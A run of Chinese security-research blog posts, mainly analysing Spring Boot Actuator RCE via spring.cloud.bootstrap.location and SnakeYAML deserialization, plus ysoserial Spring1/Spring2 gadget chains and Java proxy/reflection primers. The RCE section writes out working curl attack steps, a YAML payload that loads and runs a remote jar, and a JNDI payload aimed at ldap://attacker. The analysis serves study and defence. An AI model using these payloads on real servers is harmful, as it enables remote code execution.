这篇笔记介绍了我在写自动化安全工具平台过程中，在构架方面的一些个人思考和总结，文字比较多，感谢大家耐心看完，希望能够给同样在写自动化工具的人提供一些帮助。另外，因个人能力和水平有限，文中可能会有描述错误或理解不到位的地方，欢迎各位指正和交流。

最后是下篇笔记的预告时间，我会介绍平台上的一些功能和自己的想法，感兴趣的老板可以关注一下

0x07. 参考

• Django REST framework https://www.django-rest-framework.org/
• Dramatiq: background tasks https://dramatiq.io/
• Clustering Guide — RabbitMQ https://www.rabbitmq.com/clustering.html
• Priority Queue Support — RabbitMQ https://www.rabbitmq.com/priority.html
• PostgreSQL High Availability, Load Balancing, and Replication https://www.postgresql.org/docs/11/high-availability.html
• PgBouncer - lightweight connection pooler for PostgreSQL https://www.pgbouncer.org/
• Celery https://docs.celeryproject.org/en/stable/getting-started/introduction.html
• Vue.js https://vuejs.org/
• Element - A Desktop UI Toolkit for Web https://element.eleme.io/

今年二月份，Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators，文中介绍了多种利用思路和方式，接着作者在五月份的时候更新了文章，增加了在使用 Spring Cloud 相关组件时，通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的方法，因为网上没有找到该方法的分析文章，自己 debug 并记录了一下过程，主要内容包括

• 通过修改环境变量实现 RCE 的原理和过程分析
• SnakeYAML 反序列化介绍和利用
• 高版本 Spring Boot Actuator 利用测试和失败原因分析
• 自己的一些思考

本文中涉及到的代码和漏洞环境参考 https://github.com/b1ngz/spring-boot-actuator-cloud-vul

0x02. RCE 分析

首先简单总结一下利用过程

1. 利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址，如 http://127.0.0.1:63712/yaml-payload.yml

2. 请求 /refresh endpoint，触发程序下载外部 yml 文件，并由 SnakeYAML 库进行解析，因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数，结合 JDK 自带的 javax.script.ScriptEngineManager 类，可实现加载远程 jar 包，完成任意代码执行

从过程中我们知道，命令执行是由于 SnakeYAML 在解析 YAML 文件时，存在反序列化漏洞导致的，来看一个使用 SnakeYAML 库反序列化的例子

    @Test
    public void testYaml() {
        Yaml yaml = new Yaml();
        Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
        // class java.net.URL
        System.out.println(url.getClass());
        // http://127.0.0.1:63712/yaml-payload.jar
        System.out.println(url);
    }

SnakeYAML 支持 !! + 完整类名的方式来指定要反序列化的类，然后以 [arg1, arg2, ...] 的方式来传递构造方法参数，例子中的代码执行完后会出反序列化一个 java.net.URL 类的实例

再来看一下文章给出的外部 yml 文件 yaml-payload.yml 的内容

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
  ]]
]

SnakeYAML 处理上述内容的过程可以等价于以下 java 代码

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

代码执行后，会从 http://127.0.0.1:63712/yaml-payload.jar 地址下载 jar 包，并在包中寻找一个 javax.script.ScriptEngineFactory 接口的实现类，然后实例化，因为这个 jar 包代码是可控的，因此可执行任意代码

大致过程明白了，我们来 debug 一下

作者给出的 yaml-payload.jar 代码见 https://github.com/artsploit/yaml-payload，关键代码为 AwesomeScriptEngineFactory.java 类，构造函数中使用 Runtime 来执行系统命令

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    ...
}

我们在 Runtime.exec() 方法下断点，调用栈如下

方法调用顺序

javax.script.ScriptEngineManager<init>
	javax.script.ScriptEngineManager.init()
		javax.script.ScriptEngineManager.initEngines()
			java.util.ServiceLoader.LazyIterator.nextService()
				artsploit.AwesomeScriptEngineFactory<init>
					Runtime.getRuntime().exec()

在 ScriptEngineManager 类的 initEngines 方法中使用了 Java SPI 机制来动态加载接口 ScriptEngineFactory 的实现类

这也是为什么 jar 包中 AwesomeScriptEngineFactory 类需要实现 ScriptEngineFactory 接口、并且 META-INF/services 目录下需要有一个文件名为 javax.script.ScriptEngineFactory，值为实现类完整包名的原因，即需要符合 Java SPI 实现规范

在 ServiceLoader 加载实现类的过程中，会调用无参数构造方法来创建实例，触发命令执行

对应代码在 ServiceLoader.LazyIterator 类的 nextService()

分析完 YAML 反序列化后，我们来看一下在 Spring Boot Actuator 中时的执行流程，漏洞环境和代码见 master 分支

以 debug 模式运行漏洞环境，同样在 Runtime.exec() 方法下断点

首先修改 spring.cloud.bootstrap.location

curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"  

访问 http://127.0.0.1:61234/env，可以看到在 manager 下多了我们设置的值

然后请求 /refresh 接口触发

curl -XPOST http://127.0.0.1:61234/refresh

调用栈比较长，我们来看几个关键的地方

第一个是 RefreshEndpoint.refresh() 方法 ，即处理 /refresh 接口请求的类

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法，这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值，即之前设置的外部 yml 文件 url

接着会到 org.springframework.boot.env.PropertySourcesLoader.load() 方法，根据文件名后缀 (yml) ，使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件

根据右侧代码，因 spring-beans.jar 包含 snakeyaml.jar，因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置

最终由 YamlProcessor.process() 方法中调用 Yaml.loadAll() 解析 yml 文件内容 ，之后的流程就和前面 SnakeYAML 反序列化过程类似，最终触发命令执行

0x03. 高版本测试

作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本，而在实际的测试过程中，遇到很多情况是 Spring Boot 2.x 版本。 在 2.x 版本中，actuator 默认的 endpoint 前缀是 /actuator，并且修改环境变量的 env 接口的 post body 也变成了 json 格式，步骤为

修改环境变量

curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'

访问 http://127.0.0.1:61234/actuator/env，可以看到 propertySources 下多了刚才设置的值

接着 refresh 触发

curl -XPOST http://127.0.0.1:61234/actuator/refresh

执行完后，你会发现计算器并没有弹出，此时，黑人问号？？？只能再次 debug 找下原因

经过一番研究，发现是因为 spring.cloud.bootstrap.location 属性的值没有生效的缘故

来回忆一下之前提到的第二个关键点

BootstrapApplicationListener.bootstrapServiceContext() ，这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值，即之前设置的外部 yml 文件 url

可以看到，configLocation 的值为空，即无法从 environment 解析到 ${spring.cloud.bootstrap.location} 的值

通过对调用方法和变量的分析，发现是因为 environment 变量中的 propertySourceList 属性发生了变化

先来看一下 1.x 版本的，可以看到是包含名为 manager 的 PropertySource

再来看一下 2.x 版本的，会发现没有了

而 PropertySources 的加载代码在 org.springframework.cloud.context.refresh.ContextRefresher 的 copyEnvironment() 方法中

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)

相同的，我们先来看一下 1.x 的逻辑

	private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
		StandardEnvironment environment = new StandardEnvironment();
		MutablePropertySources capturedPropertySources = environment.getPropertySources();
    // 清空
		for (PropertySource<?> source : capturedPropertySources) {
			capturedPropertySources.remove(source.getName());
		}
    // 见下图
		for (PropertySource<?> source : input.getPropertySources()) {
			capturedPropertySources.addLast(source);
		}
		environment.setActiveProfiles(input.getActiveProfiles());
		environment.setDefaultProfiles(input.getDefaultProfiles());
		Map<String, Object> map = new HashMap<String, Object>();
		map.put("spring.jmx.enabled", false);
		map.put("spring.main.sources", "");
		capturedPropertySources
				.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
		return environment;
	}

input.getPropertySources() 的值

以下是 2.x 的逻辑

  private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
			// order matters, if cli args aren't first, things get messy
  		// commandLineArgs
			CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
			"defaultProperties" };

	private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
		StandardEnvironment environment = new StandardEnvironment();
		MutablePropertySources capturedPropertySources = environment.getPropertySources();
    // 以下代码发生了变化
		// Only copy the default property source(s) and the profiles over from the main
		// environment (everything else should be pristine, just like it was on startup).
		for (String name : DEFAULT_PROPERTY_SOURCES) {
			if (input.getPropertySources().contains(name)) {
        // 替换
				if (capturedPropertySources.contains(name)) {
					capturedPropertySources.replace(name,
							input.getPropertySources().get(name));
				}
				else { // 添加
					capturedPropertySources.addLast(input.getPropertySources().get(name));
				}
			}
		}
		environment.setActiveProfiles(input.getActiveProfiles());
		environment.setDefaultProfiles(input.getDefaultProfiles());
		Map<String, Object> map = new HashMap<String, Object>();
		map.put("spring.jmx.enabled", false);
		map.put("spring.main.sources", "");
		capturedPropertySources
				.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
		return environment;
	}

根据代码可以知道，只有 name 在 DEFAULT_PROPERTY_SOURCES 中的 PropertySource 才会被处理，其值为 String 数组，仅包含

• commandLineArgs
• defaultProperties

而我们添加的是属性值是在 name 为 manager 的 PropertySource ，因此不会被添加到 environment 的 propertySources (capturedPropertySources) 中，最终导致无法 resolve

到此，可以确定通过修改 spring.cloud.bootstrap.location 属性实现 RCE 的方法在高版本下无法成功

为了找到可利用的版本范围，看了下 git 的提交记录，发现该修改是在 spring-cloud-commons 1.3.0.RELEASE 合并的，因此只有依赖小于 1.3.0.RELEASE 才受影响

并且 Spring Cloud 相关 jar 包的依赖版本取决于 spring-cloud-dependencies 的版本，通过 pom.xml 可以知道， spring-cloud-dependencies 的 Dalston.RELEASE 版本依赖的还是 1.2.0 的 spring-cloud-commons ，而之后的版本则依赖 >= 1.3.0，根据文档 https://spring.io/projects/spring-cloud 中 Spring Cloud 对 Spring Boot 的版本适配说明

我们可以知道

• Spring Boot 2.x 无法利用成功
• Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功，使用 Edgware 无法成功
• Spring Boot <= 1.4 可利用成功

0x04. 思考

How to find?

作者是如何找到这个利用方式的？这个一直是看完这种大佬文章后第一个想知道答案的问题，也是最难的问题，这里尝试找到一些思路和线索

首先，在不使用 Spring Cloud 组件时，Spring Boot Actuator 的 /env endpoint 默认情况下只能读取环境变量的值，因此第一问题就是，如何得知有可以修改环境变量的功能？

这里就需要对 Spring 生态，如 Spring Boot, Spring Cloud 等，有一定的了解和使用经验，否则会无从下手。通过搜索 Spring Cloud 的文档，找到了相关说明 https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints

• POST to /env to update the Environment and rebind @ConfigurationProperties and log levels

• /refresh for re-loading the boot strap context and refreshing the @RefreshScope beans

从文档中，我们也知道了请求 /refresh 可以触发 bootstrap context reload，并加载修改后的环境变量

那么接下来的问题就是找到哪些环境变量是可以修改的，并且在 reload 之后会执行某些敏感的操作。根据文章中的说明，能修改的环境变量非常的多，需要一一尝试。

这里正向思考没有什么思路，转从逆向，尝试从 spring.cloud.bootstrap.location 入手，根据 Spring 文档中的说明 customizing-bootstrap-properties

The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.

可以得知这个变量是用于指定 bootstrap 配置文件的位置，支持的文件格式包括 yml 和 properties ，对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在反序列化的问题，如果这里配置文件的内容我们能够控制，就存在可以被利用的可能。

再下一步，就是结合 Spring Cloud 源码和动手 debug，确定 spring.cloud.bootstrap.location 环境变量的处理和配置文件的解析过程。根据前面的分析，我们知道代码中会下载指定的 yml 文件，并且使用 SnakeYAML 库进行解析，因此存在反序列化漏洞。

当然，实际的过程会比刚才描述的要复杂很多，需要投入很多的时间和精力阅读文档、调试代码。

SnakeYAML Payload

根据 https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf 中的介绍，除了 javax.script.ScriptEngineManager 类外，我们还可以使用 com.sun.rowset.JdbcRowSetImpl 类，通过 JNDI 注入来完成利用，payload 如下

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap://attacker/obj
  autoCommit: true

相比 ScriptEngineManager，JNDI 注入在高版本 JDK 利用会有一些限制，不过因为 Spring Boot 默认使用 Tomcat 容器，仍可以成功利用，详细可参考 Michael Stepankin 大佬的另一篇文章 Exploiting JNDI Injections in Java

Changes In YamlPropertySourceLoader

在寻找高版本 Spring Boot Actuator 失败原因的过程中，也发现了即使 spring.cloud.bootstrap.location 能够成功 resolve，也仍然无法成功，原因在与 Spring boot 中解析 yml 的类 org.springframework.boot.env.YamlPropertySourceLoader 逻辑也发生了变化，测试代码如下

    @Test
    public void test() throws Exception {
        new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
    }

执行后会报如下错误

错误信息很明显，实例化 java.net.URL 时，构造方法的参数类型不正确，debug 后发现，高版本的 Spring Boot 将解析后的值存放在了 org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence 类中，而不是 java.lang.String，导致在反射创建实例时失败

0x05. 总结

文章简单分析了在同时使用 Spring Boot Actuator 和 Spring Cloud 时，利用修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的原理和步骤，虽然在高版本中无法利用成功，但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多，或许会有更多的利用方法，感兴趣的师父可以尝试研究一下。

最后，因个人水平有限，文章中可能会有描述不准确或者错误的地方，欢迎大家指出和交流

0x06. 参考

• Exploiting Spring Boot Actuators
• Java-Deserialization-Cheat-Sheet - SnakeYAML (YAML)
• Java Unmarshaller Security
• SnakeYAML Documentation
• Spring Cloud
• Spring Cloud Context: Application Context Services
• Spring Boot Actuator + Spring Cloud Vul Env

Java 反序列化 ysoserial Spring1.java 和 Spring2.java payload 学习笔记

知识点

以下是两个 payload 中涉及到的知识点：

• 使用 TemplatesImpl 的 _bytecodes 字段存储恶意字节码，利用 newTransformer() 方法触发恶意代码执行 ，具体可以参考 Java反序列 Jdk7u21 Payload 学习笔记 中关于 TemplatesImpl 的说明

• 利用 AnnotationInvocationHandler 控制代理方法调用的返回值。 在 invoke() 方法中的，当 proxy class 调用的方法名不是 equals、toString、hashCode、annotationType 时，会从 memberValues (类型为 Map) 取 key 为 method 对应的值。因为 memberValues 是可控的，因此可以指定某个方法的返回值，具体可参考下面的代码

  class AnnotationInvocationHandler implements InvocationHandler, Serializable {
      private final Class<? extends Annotation> type;
      private final Map<String, Object> memberValues;
    
      AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
          this.type = type;
          this.memberValues = memberValues;
      }
    
      public Object invoke(Object proxy, Method method, Object[] args) {
          String member = method.getName();
          Class<?>[] paramTypes = method.getParameterTypes();
    
          // Handle Object and Annotation methods
          if (member.equals("equals") && paramTypes.length == 1 &&
              paramTypes[0] == Object.class)
              return equalsImpl(args[0]);
          assert paramTypes.length == 0;
          if (member.equals("toString"))
              return toStringImpl();
          if (member.equals("hashCode"))
              return hashCodeImpl();
          if (member.equals("annotationType"))
              return type;
    
          // Handle annotation member accessors
          Object result = memberValues.get(member);
      ...
          return result;
      }
  }
  

• 利用的反序列化类为 org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

• 使用到了 Spring AOP 包中 InvocationHandler，分别为

  • org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
  • org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

Spring1

payload 生成代码如下

public Object getObject(final String command) throws Exception {
    // 使用 TemplatesImpl 存储恶意字节码
    final Object templates = Gadgets.createTemplatesImpl(command);
    // 使用 AnnotationInvocationHandler 创建 ObjectFactory 接口的动态代理
    // 并且调用 objectFactoryProxy 的 getObject() 方法会返回 templates 对象
    final ObjectFactory objectFactoryProxy =
        Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
    // 使用 ObjectFactoryDelegatingInvocationHandler 代理 Type 和 Templates 接口，返回值类型为 Type 
    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
                                                        Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                                                        .newInstance(objectFactoryProxy), Type.class, Templates.class);
    // 使用 AnnotationInvocationHandler 创建 TypeProvider 接口的动态代理
    // 并且调用 typeProviderProxy 的 getType() 方法会返回 typeTemplatesProxy 对象
    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
    // 创建最终反序列化对象 MethodInvokeTypeProvider
    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    // 实例化，构造方法中，会将 provider 属性的值设置为 typeProviderProxy
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    // 设置 methodName 属性的值为 newTransformer
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}

来看一下 MethodInvokeTypeProvider 类的 readObject() 方法

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
    inputStream.defaultReadObject();
    // methodName 的值为 newTransformer
    // this.provider 为代理对象，即 typeProviderProxy
    Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
    // 反射调用 this.provider 的 newTransformer 方法
    this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

因为 this.provider 即 typeProviderProxy 是代理对象，因此调用 getType() 方法，会调用关联 InvocationHanlder 的 invoke() 方法，根据 知识点 中提到的 AnnotationInvocationHandler 可以指定方法返回值的特性，这里会返回 typeTemplatesProxy ，接着调用其 getClass() 方法，反射查找 newTransformer 方法

下一步会反射调用 typeTemplatesProxy 的 newTransformer 方法，因为 typeTemplatesProxy 也是一个代理对象，因此会调用 ObjectFactoryDelegatingInvocationHandler 的 inovke() 方法，其代码如下

private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {

    private final ObjectFactory<?> objectFactory;

    public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
        this.objectFactory = objectFactory;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        String methodName = method.getName();
        if (methodName.equals("equals")) {
            return (proxy == args[0]);
        }
        else if (methodName.equals("hashCode")) {
            return System.identityHashCode(proxy);
        }
        else if (methodName.equals("toString")) {
            return this.objectFactory.toString();
        }
        try {
            // 最终执行代码
            return method.invoke(this.objectFactory.getObject(), args);
        }
        catch (InvocationTargetException ex) {
            throw ex.getTargetException();
        }
    }
}

根据代码可以得知，最终会执行到

return method.invoke(this.objectFactory.getObject(), args); 

那么这里的objectFactory 的值是什么？

根据 payload 中的生成代码

final Object templates = Gadgets.createTemplatesImpl(command);

final ObjectFactory objectFactoryProxy =
        Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

值为 objectFactoryProxy ，也是一个代理对象，根据 AnnotationInvocationHandler 的特性，objectFactory.getObject() 的返回值为 templates，即最终调用的是 TemplatesImpl 的 newTransformer() 方法，触发恶意代码执行

整理一下关系

• MethodInvokeTypeProvider.provider => typeProviderProxy
• typeProviderProxy.getType() => AnnotationInvocationHandler.invoke() => typeTemplatesProxy
• typeTemplatesProxy.newTransformer() => ObjectFactoryDelegatingInvocationHandler.invoke()
• ObjectFactoryDelegatingInvocationHandler.objectFactory.getObject() => AnnotationInvocationHandler.invoke() => TemplatesImpl

精简的 Gadget chain 如下

SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
      AnnotationInvocationHandler.invoke()                      
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
      AnnotationInvocationHandler.invoke()
    ReflectionUtils.invokeMethod()
      Templates(Proxy).newTransformer()
        AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
          ObjectFactory(Proxy).getObject()
            AnnotationInvocationHandler.invoke()
          TemplatesImpl.newTransformer()

Spring2

payload 生成代码如下

public Object getObject ( final String command ) throws Exception {

    final Object templates = Gadgets.createTemplatesImpl(command);
    // 将 AdvisedSupport 的 target 属性值设置为 templates
    // AdvisedSupport 是 Spring AOP 的代理配置 managaer
    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));
    // 使用 JdkDynamicAopProxy(实现了InvocationHandler接口) 来创建 Type 和 Templates 接口的动态代理
    // JdkDynamicAopProxy 的 advised 属性值为 as
    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}

Spring2 和 Spring1 的反序列化过程大致相似，唯一不同的在于，这里使用了 AOP 包中另一个 ` InvocationHandler - JdkDynamicAopProxy 来创建 typeTemplatesProxy，来看一下它的 invoke()` 方法，精简后如下

final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
    ...
        private final AdvisedSupport advised;
    ...

        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        MethodInvocation invocation;
        Object oldProxy = null;
        boolean setProxyContext = false;

        TargetSource targetSource = this.advised.targetSource;
        Class<?> targetClass = null;
        Object target = null;

        try {
            ....

                target = targetSource.getTarget();
            if (target != null) {
                targetClass = target.getClass();
            }

            List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

            if (chain.isEmpty()) {
                // 调用 target 的 method 方法
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
            }
            else {
                ....
            }

            ...
                return retVal;
        }
        finally {
            ....
        }
    }
}

经过一系列判断，最后会在 this.advised.targetSource.getTarget() 对象上调用 method，根据 paylaod 生成代码，这里的 target 为 TemplatesImpl，method 为 newTransformer，最终触发恶意代码执行

测试

@Test
public void testSpring1() throws Exception {
    // mkdir -p /tmp/ysoserial
    // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "open /Applications/Calculator.app" > /tmp/ysoserial/spring1.class
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/spring1.class")));
    ois.readObject();
}

@Test
public void testSpring2() throws Exception {
    // mkdir -p /tmp/ysoserial
    // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring2 "open /Applications/Calculator.app" > /tmp/ysoserial/spring2.class
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/spring2.class")));
    ois.readObject();
}

Proxy 是设计模式中的一种。当需要在已存在的 class 上添加或修改功能时，可以通过创建 proxy object 来实现

通常 proxy object 和被代理对象拥有相同的方法，并且拥有被代理对象的引用，可以调用其方法

代理模式应用场景包括

• 在方法执行前后打印和记录日志
• 认证、参数检查
• lazy instantiation (Hibernate, Mybatis)
• AOP (transaction)
• mocking
• …

代理有两种实现方式

• 静态代理：在编译时期，创建代理对象
• 动态代理：在运行时期，动态创建

对于重复性工作，如打印日志，静态代理需要为每个 class 都创建 proxy class，过程繁琐和低效，而动态代理通过使用反射在运行时生成 bytecode 的方式来实现，更加方便和强大

过程

因为 JDK 自带的 Dynamic proxy 只能够代理 interfaces，因此被代理对象需要实现一个或多个接口，具体可参考 https://stackoverflow.com/a/10664208

先来看一些概念：

• proxy interface proxy class 实现的接口
• proxy class 运行时创建的代理 class，并实现一个或多个 proxy interface
• proxy instance proxy class 的实例
• InvocationHandler 每个 proxy instance 都有一个关联的 invocation handler，当调用 proxy 对象的方法时，会统一封装，并转发到 invoke() 方法

InvocationHandler 接口的定义如下

package java.lang.reflect;

public interface InvocationHandler {
    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}

只定义了一个方法 invoke()，参数含义如下

• Object proxy 生成的代理对象
• Method method 调用的方法，类型为 java.lang.reflect.Method
• Object[] args 调用方法的参数，array of objects

简单来说就是，调用 proxy object 上的方法，最终都会转换成对关联 InvocationHandler 的 invoke() 方法的调用

可以使用 java.lang.reflect.Proxy 的静态方法 newProxyInstance 来创建 Proxy object

public static Object newProxyInstance(ClassLoader loader,
                                          Class<?>[] interfaces,
                                          InvocationHandler h)
        throws IllegalArgumentException
    {
    ...
    }

参数说明

• loader 定义 proxy class 的 ClassLoader
• interfaces 需要代理的接口
• h 关联的 InvocationHandler

例子

使用动态代理打印方法的执行耗时

定义代理接口

public interface Foo {
    String doSomething();
}

实现接口

public class FooImpl implements Foo {
    @Override
    public String doSomething() {
        return "finished";
    }
}

定义 InvocationHandler，target 为被代理对象的引用，在方法执行完后打印耗时

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class TimingInvocationHandler implements InvocationHandler {
    private Object target;

    public TimingInvocationHandler(Object target) {
        this.target = target;
    }

    public Object invoke(Object proxy, Method method, Object[] args)
            throws Throwable {
        long start = System.nanoTime();
        Object result = method.invoke(target, args);
        long elapsed = System.nanoTime() - start;

        System.out.println(String.format("Executing %s finished in %d ns",
                method.getName(),
                elapsed));

        return result;
    }
}

测试

import org.junit.Test;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class DynamicProxyTest {
    @Test
    public void test() {
        ClassLoader cl = DynamicProxyTest.class.getClassLoader();
        Class[] interfaces = new Class[]{Foo.class};
        FooImpl fooImpl = new FooImpl();
        InvocationHandler timingInvocationHandler = new TimingInvocationHandler(fooImpl);
        Foo foo = (Foo) Proxy.newProxyInstance(cl, interfaces, timingInvocationHandler);
        foo.doSomething();
    }
}

执行完会打印类似

Executing doSomething finished in 23148 ns

细节

生成 proxy class 的一些属性和细节

• public, final, and not abstract.
• 类名不确定，以 $Proxy 开头
• 继承 java.lang.reflect.Proxy，且 Proxy 实现了 java.io.Serializable 接口，因此 proxy instance 是可以序列化的
• 按照 Proxy.newProxyInstance() 传入 interfaces 参数中的接口顺序来实现接口
• 在 proxy class 上调用 getInterfaces，getMethods，getMethod 方法，会返回实现的接口中定义的方法，顺序和创建时的参数保持一致
• 当调用 proxy instance 同名、同 parameter signature 方法时，invoke() 方法的 Method 参数会是最早定义这个方法的 interface 的方法，无论实际调用的方法是什么
• 当 Foo 为实现的代理接口之一时， proxy instanceof Foo 返 true，并且可以转换 (Foo) proxy
• Proxy.getInvocationHandler 静态方法会返回 proxy object 关联的 invocation handler
• …

参考

• Dynamic Proxy Classes

• java-dynamic-proxy

• What are Dynamic Proxy classes and why would I use one?

反射 (Reflection) 是 Java 语言中的一种特性，能够让程序在运行时，获取 class 的相关信息（如内部定义的方法、字段、实现的接口等）、创建 class 实例、调用方法、修改属性等，且这些操作可以在事先（如编译期）不知道类信息的情况下实现

使用场景

• 实例化任意 classes，如依赖注入框架在运行时，动态创建用户定义的类 (Bean)
• object 和其他数据格式的相互转换，如根据 getters 和 setters 方法，将 object 转换为 JSON。类库在转换时，并不知道类有哪些字段和方法，而是通过反射来获取相关信息
• 代理 class (proxy / wrapping class)
  • 如某个资源需要 lazy loding，可以使用反射创建一个代理对象，仅当实际用到的时候才进行加载
  • mock 库使用反射创建一个代理对象，完成类方法的 mocking

缺点

• 性能：反射需要动态解析 class，JVM 无法进行优化，运行速度相比非反射的要慢
• 暴露类的内部结构：反射可以访问 private 变量和方法，违背了抽象原则。若代码中使用反射来调用第三方库，当库版本更新，内部结构发生变化，程序可能会运行失败
• 因为可以动态修改属性值，无法保证 type safety，会导致运行时抛出异常

细节

java.lang.Class 是所有 Reflection API 的入口类

对于每个 object，JVM 都会实例化一个Class 实例，来提供运行时获取 object 属性、创建 objects 的能力

获取 Class 实例的几种方式

• Object.getClass()
  • "foo".getClass()
• The .class Syntax
  • String.class
• Class.forName() 需要完整的类名( fully-qualified name of a class )
  • Class.forName("java.lang.Runtime")

Class 相关方法

• Class<? super T> getSuperclass(); 返回父类
• Constructor<?>[] getConstructors() 返回所有 public 构造方法，包括从父类继承的
• Constructor<?>[] getDeclaredConstructors() 返回当前类中定义的所有构造方法
• Method[] getMethods() 返回所有 public 方法，包括从父类继承的
• Method[] getDeclaredMethods() 返回当前类中定义的所有方法
• Class<?>[] getInterfaces() Class 是类时，返回类实现的接口；Class 是接口时，返回继承的接口
• Annotation[] getAnnotations() 获取 Annotation
• TypeVariable<Class<T>>[] getTypeParameters() 返回 generic type variables
• int getModifiers() 获取修饰符
• …

Class 相关方法调用后的返回值类型在 java.lang.reflect 包中定义，如

• java.lang.reflect.Constructor 构造方法
  • 可调用 newInstance(Object ... initargs) 来实例化对象 ，initargs 为构造方法的参数
• java.lang.reflect.Method 方法
  • 可调用 invoke(Object obj, Object... args) 来执行方法，即在 obj 上调用该方法，args 为方法参数
• java.lang.reflect.Field 字段
  • 调用 get(Object obj) 来获取 obj 对应字段的值
  • 调用 set(Object obj, Object value)，来设置 obj 对应字段值
• java.lang.reflect.Modifier 修饰符
• …

